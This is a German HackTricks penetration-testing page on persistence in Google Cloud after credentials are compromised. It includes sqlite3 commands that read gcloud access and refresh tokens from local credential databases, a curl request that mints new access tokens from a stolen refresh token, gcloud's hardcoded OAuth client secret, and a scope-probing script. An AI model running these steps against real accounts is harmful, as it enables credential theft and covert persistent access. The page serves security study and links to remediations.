GCP - Non-svc Persistance

Unterstütze HackTricks

Dies sind nützliche Techniken, sobald du irgendwie einige GCP-Anmeldeinformationen oder eine Maschine, die in einer GCP-Umgebung läuft, kompromittiert hast.

Token Hijacking

Authentifizierte Benutzer-Token

Um das aktuelle Token eines Benutzers zu erhalten, kannst du folgendes ausführen:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Überprüfen Sie auf dieser Seite, wie Sie diesen Token direkt mit gcloud verwenden:

Um die Details zu erhalten, um einen neuen Zugriffstoken zu generieren, führen Sie aus:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Es ist auch möglich, Refresh Tokens in $HOME/.config/gcloud/application_default_credentials.json und in $HOME/.config/gcloud/legacy_credentials/*/adc.json zu finden.

Um ein neues aktualisiertes Access Token mit dem Refresh Token, der Client-ID und dem Client Secret zu erhalten, führen Sie aus:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Die Gültigkeit der Refresh-Tokens kann unter Admin > Security > Google Cloud session control verwaltet werden. Standardmäßig ist sie auf 16 Stunden eingestellt, kann jedoch so konfiguriert werden, dass sie nie abläuft:

Auth-Flow

Der Authentifizierungsablauf bei der Verwendung von gcloud auth login öffnet eine Eingabeaufforderung im Browser. Nach dem Akzeptieren aller Scopes sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Dann wird gcloud den Status und Code mit einer fest codierten client_id (32555940559.apps.googleusercontent.com) und client_secret (ZmssLNjJy2998hD4CTg2ejr2) verwenden, um die endgültigen Refresh-Token-Daten zu erhalten.

Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur einmal gültig, daher wäre dies nutzlos. Es ist einfacher, das Refresh-Token aus der Datei zu lesen.

OAuth-Scopes

Sie können alle Google-Scopes unter https://developers.google.com/identity/protocols/oauth2/scopes finden oder sie durch Ausführen des folgenden Befehls abrufen:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Es ist möglich zu sehen, welche Scopes die Anwendung, die gcloud zur Authentifizierung verwendet, mit diesem Skript unterstützen kann:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Nach der Ausführung wurde überprüft, dass diese App die folgenden Bereiche unterstützt:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

es ist interessant zu sehen, wie diese App den drive-Scope unterstützt, was einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn ein Angreifer es schafft, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.

Schauen Sie, wie Sie dies hier ausnutzen können.

Service Accounts

Genau wie bei authentifizierten Benutzern, wenn es Ihnen gelingt, die private Schlüsseldatei eines Service Accounts zu kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten. Wenn Sie jedoch das OAuth-Token eines Service Accounts stehlen, kann dies noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde nützlich sind, wenn das Opfer den privaten API-Schlüssel löscht, bleibt das OAuth-Token bis zum Ablauf gültig.

Metadata

Offensichtlich, solange Sie sich in einer Maschine befinden, die in der GCP-Umgebung läuft, können Sie auf den Service Account zugreifen, der an diese Maschine angehängt ist, indem Sie den Metadata-Endpunkt kontaktieren (beachten Sie, dass die OAuth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).

Remediations

Einige Abhilfemaßnahmen für diese Techniken werden erklärt in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References

Unterstützen Sie HackTricks

Last updated